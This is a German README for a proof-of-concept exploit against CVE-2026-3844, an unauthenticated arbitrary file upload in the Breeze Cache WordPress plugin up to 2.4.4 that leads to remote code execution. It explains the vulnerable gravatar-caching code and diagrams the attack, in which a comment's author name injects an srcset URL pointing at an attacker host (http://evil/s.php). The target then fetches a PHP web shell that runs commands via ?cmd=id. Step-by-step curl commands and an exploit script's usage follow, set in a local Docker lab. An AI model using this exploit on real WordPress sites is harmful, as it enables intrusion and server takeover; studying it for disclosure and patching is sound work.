
# Proof-of-Concept-Exploit für CVE-2026-3844, einen nicht authentifizierten beliebigen Datei-Upload, der zu Remote-Code-Ausführung in Breeze Cache <= 2.4.4 führt. Enthält Docker-Lab und automatisiertes Exploit-Skript.
| Feld | Wert |
|---|---|
| CVE | CVE-2026-3844 |
| CVSS | 9.8 Kritisch (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| CWE | CWE-434 — Uneingeschränkter Upload von Dateien mit gefährlichem Typ |
| Plugin | Breeze Cache von Cloudways |
| Betroffen | Alle Versionen bis einschließlich 2.4.4 |
| Behoben | 2.4.5 (Changeset 3511463) |
| Installationen | 400.000+ aktive WordPress-Installationen |
| Entdeckt von | Hung Nguyen (bashu) |
| Offengelegt | 2026-04-23 |
Die Funktion fetch_gravatar_from_remote() in inc/class-breeze-cache-cronjobs.php lädt
entfernte URLs herunter und speichert sie in einem über das Web zugänglichen Verzeichnis
unter Verwendung des ursprünglichen Dateinamens und der Erweiterung aus der URL. Es gibt
keine MIME-Typ-Validierung, keine Erweiterungs-Whitelist und
keine Inhaltsprüfung.
Wenn die Einstellung „Host Files Locally - Gravatars" aktiviert ist, hängt das Plugin in den
get_avatar-Filter von WordPress über breeze_replace_gravatar_image() ein. Diese Funktion
verwendet einen regulären Ausdruck, um URLs aus srcset- und src-Attributen im Avatar-HTML
zu extrahieren. Ein Angreifer kann ein bösartiges srcset-Attribut injizieren, indem er einen
Kommentar mit einem manipulierten Autorennamen veröffentlicht, wodurch das Plugin veranlasst
wird, eine beliebige PHP-Datei herunterzuladen und zwischenzuspeichern.
Was fehlt:
.php, .phtml, .phar werden alle akzeptiert)Angreifer WordPress + Breeze 2.4.4
| |
| 1. POST /wp-comments-post.php |
| author=x srcset=http://evil/s.php |
| ------------------------------------> |
| | Kommentar gespeichert
| |
| 2. GET /?p=1 |
| ------------------------------------> |
| | get_avatar-Filter wird ausgelöst
| | breeze_replace_gravatar_image()
| | extrahiert srcset-URL per Regex
| | ruft fetch_gravatar_from_remote() auf
| |
| 3. download_url() |
| http://evil/s.php |
| <----------------------------- |
| PHP-Dateiinhalt |
| -----------------------------> |
| | Gespeichert unter:
| | wp-content/cache/breeze-extra/
| | gravatars/s.php
| |
| 4. GET /wp-content/cache/breeze-extra |
| /gravatars/s.php?cmd=id |
| ------------------------------------> |
| | PHP wird als www-data ausgeführt
| uid=33(www-data) |
| <------------------------------------ |
Dieses PoC enthält eine eigenständige Docker-Umgebung mit:
requests (pip install requests)cd docker/
docker compose up -d --build
~30 Sekunden warten, bis WordPress initialisiert ist. Überprüfen:
curl -s http://localhost:8088/wp-content/plugins/breeze/readme.txt | grep "Stable tag"
# Erwartet: Stable tag: 2.4.4
Die Docker-Einrichtung automatisiert:
breeze-store-gravatars-locally: 1)curl -X POST "http://localhost:8088/wp-comments-post.php" \
-d "comment_post_ID=1&author=x+srcset=http://PAYLOAD_IP:9999/shell.php&[email protected]&comment=test&submit=Post+Comment"
Ersetzen Sie PAYLOAD_IP mit der IP des Payload-Containers:
docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' \
$(docker compose -f docker/docker-compose.yml ps -q payload)
Erwartete Antwort: HTTP 302-Weiterleitung zur Beitragsseite.
Rufen Sie die Beitragsseite auf, damit WordPress den Avatar des Kommentars rendert, wodurch der
Breeze-get_avatar-Filter ausgelöst und die Payload heruntergeladen wird:
curl -s "http://localhost:8088/?p=1" > /dev/null
Das gerenderte HTML zeigt, dass Breeze das injizierte srcset extrahiert und die Payload zwischengespeichert hat:
Die PHP-Payload wird unverändert geschrieben, im Besitz von www-data:
cd poc/
pip install requests
python3 exploit.py --target http://localhost:8088 --payload http://PAYLOAD_IP:9999/shell.php
usage: exploit.py [-h] -t TARGET [-p PAYLOAD] [--post-id POST_ID]
[--timeout TIMEOUT] [--wait WAIT] [--check-only]